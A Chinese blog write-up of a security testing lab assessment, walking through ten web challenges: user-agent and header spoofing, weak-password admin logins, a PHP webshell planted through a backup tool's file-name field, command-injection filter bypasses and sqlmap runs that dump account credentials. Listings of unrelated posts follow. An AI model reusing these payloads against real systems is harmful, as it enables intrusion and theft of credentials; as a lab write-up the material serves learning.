前言

最近没什么事,于是报名了某众测,填了资料主办方给了个靶场要考核,这里分享一下靶场考核中的解题过程,一共十道题目,难度也不算太难,但也有一些题没做出来,最后也是顺利的通过了考核。

本文涉及知识点实操练习——SQL注入原理与实践:通过该实操了解SQL注入原理,解释了简单判断一个参数是否存在注入的原理,能够利用简单的SQL注入获取其他敏感数据。

前戏

首先考核要答一些选择题和判断题,没什么好说的,主办方要求连了vpn没法上外网,但是都是一些基础的网络安全问题,随便答答就过了,接下来就是靶场的题目了。

靶场题目

第一题

*sec微信公众号

提示:用IPAD手机的2G网络上网

很明显改改UA头就行了,直接搜一下UA头,替换上去。

改UA头

GET /mp_weixin_qq_com.php HTTP/1.1
Host: 119.3.225.8:41064
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 13_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/7.0.10(0x17000a21) NetType/2G Language/zh_CN
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://119.3.225.8:41064/index.html
Upgrade-Insecure-Requests: 1

返回

mozhe64d25d173bdbae7366b76e0798a

第二题

易**智能考试系统

扫目录发现/admin

爆破弱口令admin和admin888登录后台,发现后台是一个保存文件的功能,这里可以直接读取备份文件bak_wwwroot.zip的源码,关键代码如下:

<input name="todir" type="text" id="todir" value="__bak__" class="xxp">(留空为本目录)<br>文件保存名称:<input name="zipname" type="text" id="zipname" value="bak_wwwroot.zip" class="xxp">(.zip)<br><br><input name="password" type="hidden" id="password" value="<?php echo $_POST['password'];?>"><input name="myaction" type="hidden" id="myaction" value="dozip"><input type="submit" name="Submit"  class="sub" value=" 开始备份">
function createfile(){$endstr = "\x50\x4b\x05\x06\x00\x00\x00\x00" .pack('v', $this -> file_count) .pack('v', $this -> file_count) .pack('V', $this -> dirstr_len) .pack('V', $this -> datastr_len) ."\x00\x00";fwrite($this->fp,$this->dirstr.$endstr);fclose($this->fp);}}
if(is_array($_REQUEST[dfile])){$faisunZIP = new PHPzip;if($faisunZIP -> startfile("$_REQUEST[todir]$_REQUEST[zipname]")){echo "正在添加备份文件...<br><br>";$filenum = 0;foreach($_REQUEST[dfile] as $file){if(is_file($file)){echo "文件: $file<br>";}else{echo "目录: $file<br>";}$filenum += listfiles($file);}$faisunZIP -> createfile();echo "<br>备份完成,共添加 $filenum 个文件.<br><a href='$_REQUEST[todir]$_REQUEST[zipname]'>$_REQUEST[todir]$_REQUEST[zipname] (".num_bitunit(filesize("$_REQUEST[todir]$_REQUEST[zipname]")).")</a>";}else{echo "$_REQUEST[todir]$_REQUEST[zipname] 不能写入,请检查路径或权限是否正确.<br>";}}else{echo "没有选择的文件或目录.<br>";}endif;?>

审计代码,这里的dfile参数任何的过滤,尝试修改一下dfile的值,惊喜的发现可以读取任意文件,并写入bak_wwwroot.zip,下载bak_wwwroot.zip就可以读取了。

dfile[]=/var/www/html/index.php&todir=__bak__&zipname=bak_wwwroot.zip&password=admin888&myaction=dozip&Submit=+%E5%BC%80%E5%A7%8B%E5%A4%87%E4%BB%BD

虽然知道可以读取任意文件,但是不知道key是放在哪个地方,于是这里又卡了一下,但是转头一想,这里是写一个文件名并压缩进文件里面,老CTFer都知道做msic的时候,文件名会写入压缩包里面,于是写一个一句话木马,并把bak_wwwroot.zip改为bak_wwwroot.php试一下,没想到成功了。

dfile[]=/<?php system($_GET[cmd])?>&todir=__bak__&zipname=bak_wwwroot.php&password=admin888&myaction=dozip&Submit=+%E5%BC%80%E5%A7%8B%E5%A4%87%E4%BB%BD

读取目录下所有文件目录

http://119.3.187.27:41154/admin_site_bak2088/__bak__/bak_wwwroot.php?cmd=ls%20../

读取Key

http://119.3.187.27:41169/admin_K29ke8/__bak__/bak_wwwroot.php?cmd=cat%20/key_ss32ce5ew1v.txt

第三题

数*校园

提示:浏览器类型要是IPAD,以及要用英文,分辨率要1024*768

和第一题一样的套路

不过这里要改下

  • Accept-Language为en,zh;q=0.8,en-us;q=0.5,en;q=0.3

  • Cookie为screenX=1024; screenY=768

第四题

网站文件备份服务器

虽然页面和第二题不同,但是扫目录同样扫出了是一样的后台,爆破弱口令,然后发现admin和admin,剩下的就和之前的步骤是一样的了,写一个马然后读key。

dfile%5B%5D=/<?php system($_GET[cmd])?>&todir=__bak__&zipname=bak_wwwroot.php&password=admin888&myaction=dozip&Submit=+%E5%BC%80%E5%A7%8B%E5%A4%87%E4%BB%BD

第五题

教学器械采购平台

一道命令执行的题,有个输入框

随便fuzz一下,发现过滤了&&和空格

于是&&用%26%26替代绕过,空格用<替代绕过

先用ls读取文件目录

iipp=127.0.0.1%26%26ls&submit=Ping

然后再读取key即可

第六题

教学质量评价系统

发现有个注入点

http://119.3.177.25:41204/show.php?id=MQ0=

测试了一下发现是base64盲注,用tamper指定base64编码,直接丢sqlmap里面跑一下。

这里要注意的是这个靶场不太稳定,我们用sqlmap有个小问题就是盲注的时候他会根据响应速度来调整发送包的速度,太快了可能网站会崩,所以sqlmap会增加延迟,让他更像是人手工在注入,我觉得慢就断开了,但是如果不清理缓存每次重来就是从上一次继续,所以这里的话加上fresh-queries,再加上batch自动确认。

跑数据库

python3 sqlmap.py -u http://119.3.177.25:41204/show.php?id=1*  --tamper base64encode.py --dbs --dump --batch --fresh-queries

跑表名

python3 sqlmap.py -u http://119.3.177.25:41204/show.php?id=1*  --tamper base64encode.py --tables -D test --dump --batch --fresh-queries

跑列名

python3 sqlmap.py -u http://119.3.177.25:41204/show.php?id=1*  --tamper base64encode.py --columns -D test -T data --dump --batch --fresh-queries

最后payload如下

python3 sqlmap.py -u http://119.3.177.25:41204/show.php?id=1*  --tamper base64encode.py -D test -T data -C thekey --dump --batch --fresh-queries

直接跑出key

第七题

*WAY科技管理系统

平台停机维护的通知存在注入,发现注入点在

http://119.3.225.8:41046/new_list.php?id=1

继续sqlmap跑起来,

跑数据库

python3 sqlmap.py -u http://119.3.225.8:41046/new_list.php?id=1 --dbs --dump --batch

跑表名

python3 sqlmap.py -u http://119.3.225.8:41046/new_list.php?id=1 --tables -T member --dump --batch

跑列名

python3 sqlmap.py -u http://119.3.225.8:41046/new_list.php?id=1 --columns -T member -D stormgroup --dump --batch

最后payload

python3 sqlmap.py -u http://119.3.225.8:41046/new_list.php?id=1 -D stormgroup -T member -C name,password --dump --batch

跑出两个账号密码

mozhe/528469

mozhe/888054

登录之后,即可拿到key。

第八题

*WAY电脑采购系统

随便看了发现到一个注入点

http://119.3.187.27:41144/new_list.php?id=1

发现是union注入,依旧尝试用sqlmap

跑数据库

python3 sqlmap.py -u http://119.3.187.27:41144/new_list.php?id=1 --dbs --dump  --batch

跑表名

python3 sqlmap.py -u http://119.3.187.27:41144/new_list.php?id=1 --tables -D min_ju4t_mel1i --dump  --batch

跑列名

python3 sqlmap.py -u http://119.3.187.27:41144/new_list.php?id=1 --columns -D min_ju4t_mel1i -T (@dmin9_td4b} --dump  --batch

最后payload

python3 sqlmap.py -u http://119.3.187.27:41144/new_list.php?id=1 -D min_ju4t_mel1i -T (@dmin9_td4b} -C username,password --dump  --batch

最后跑出五个账号密码,只有一个能用,md5解密登录拿key。

sql注入不愧是OWASP TOP 10 之 榜首,10道题目出现了3道,有一说一sqlmap真的是好用。

记一次某众测的靶场考核相关推荐

  1. 记一次360众测仿真实战靶场考核WP

    0x00 考核主要分为两部分 第一部分为客观题:分为单选题,多选题,和判断题. 我记录了一道有趣的题,也是不清楚正确答案的群 第二部分为操作题: 0x01客观题 我记录了一道有趣的题,也是不清楚正确答 ...

  2. testing众测学院测试用例考核题目及答案

    实测,73分的答案,刚好能通过 欢迎补充 以下哪一个不是用例执行结果?(单选)C A. Pass B. Block C. No Need D. N/A 执行用例时发现bug,在报bug的过程中以下说法 ...

  3. 3G0众测靶场-0407 WriteUp

    0x01 前言 昨天参加了3G0众测的题目,一直没来得及更新题目,今天的话看JC师傅整理了一下,我这边也来凑下热闹.内容挺基础,但是对一些CMS类型和框架不熟悉的话,就很容易走偏路,经常看响应包,还有 ...

  4. 360众测重装上阵,创新服务模式重塑众测新业态

    2020年全球疫情蔓延,越来越多企业转战线上办公,互联网边界进一步拓宽的同时,随之而来的网络威胁也在不断增加. 在网络空间对抗日益军事化的国际形势下,网络安全已上升至国家战略层面.而漏洞是网络安全威胁 ...

  5. 众测 Nebula Graph | 捉虫计划已开启,这项有礼

    Nebulan Graph 捉虫计划 是开源的分布式图数据库 -- Nebula 发起的「找 Bug」活动,旨在发动开源社区的力量共建图数据库 Nebula. Nebula Graph:一个开源的分布 ...

  6. 云端能力知几许?12人众测华为云企业级Kubernetes集群实力

    近年来,云端业务体系不断发展壮大,企业的需求也主要呈现出两个方向,一方面不断增加的数据量要求云端能够实现流量监控和管理:另一方面也需要云端能够便捷的进行容量扩展和业务升级.在这种要求下,容器技术不断发 ...

  7. PMCAFF产品众测 | 对话随手攒CEO聊聊这款产品的设计、推广和改进(活动已结束)

    PMCAFF产品经理社区全新栏目 PMCAFF产品众测 即日起正式开启!在这里你可以尽情发挥思路,参与每一款产品的设计.运营和改进,快来释放你体内的洪荒之力,这里就是你的主场! 获奖名单公布: 随手攒 ...

  8. PMCAFF产品众测 | 对话随手攒CEO聊聊产品的设计、推广和改进

    PMCAFF产品经理社区全新栏目 PMCAFF产品众测 即日起正式开启!在这里你可以尽情发挥思路,参与每一款产品的设计.运营和改进,快来释放你体内的洪荒之力,这里就是你的主场! 本期产品: 随手攒,随 ...

  9. 飚王硬盘盒怎么样_ORICO M.2固态移动硬盘盒众测分享:移动存储也高速

    前言 最近闪存的价格不断下跌,算是个入手SSD和内存产品的好时期.如果有移动存储的需要,也可以考虑把小巧的M.2 SSD装入移动硬盘盒里,来代替传统的移动硬盘.这次众测的ORICO M.2 NVME固 ...

最新文章

  1. 蓝桥训练1-3,5-8题解(自己写的,过了蓝桥官网的数据)
  2. 中国工程机械制造行业运营状况及发展方向预测报告2021-2027年
  3. Dom查看数据库mysql_Linux中OS系统和MySQL数据库巡检生成html
  4. .net swf 上传组件
  5. Linux 进程(二) 进程地址空间
  6. 软件测试经典面试题(二)给你一个网站如何测试
  7. 记录一次OOM排查经历
  8. 可以抛弃 Python 了?Google 开源 Swift for TensorFlow 意味着什么
  9. 洛谷 P2578 [ZJOI2005]九数码游戏【bfs+康托展开】
  10. 一步一步学习hadoop(九)
  11. 下载mono太慢怎么办?
  12. Java的成员变量(全局变量)和局部变量以及构造方法的使用以及详解
  13. php粉层,thinkphp 模型分层
  14. 压缩文件苹果手机怎么解压「iphone技巧」
  15. JS逆向-易班登录password参数(RSA加密)
  16. 数据库专辑--SQL分类汇总(group by...with rollup),增加“总计”字段
  17. P2234 [HNOI2002]营业额统计 (Java)
  18. 怎么制作打印机服务器,如何配置打印机服务器设置
  19. 80+的AI音频工具你值得拥有
  20. redhat linux 7.2系统安装详细过程

热门文章

  1. 【MongoDB 快速上手】别找了,主流开源分布式系统存储系统三剑客:FastDFS、Minio、MongoDB零基础入门实战教程!
  2. el-table拆分单元格
  3. 更改linux文件/目录的权限、拥有者及用户组
  4. K8s 之 ReadinessProbe(就绪探针)使用的迷惑
  5. 雪碧新年神兽主题的观后
  6. 8421码,5421码,2421码,余3码特点及转换
  7. 论文阅读之《Quasi-Unsupervised Color Constancy 》
  8. 配置photon服务器,unity连接Photon
  9. (《机器学习》完整版系列)第5章 神经网络——5.2 RBF网络(单层RBF就可解决异或问题)与ART网络(实现“自适应谐振”)
  10. 解析 通证经济的分类及用途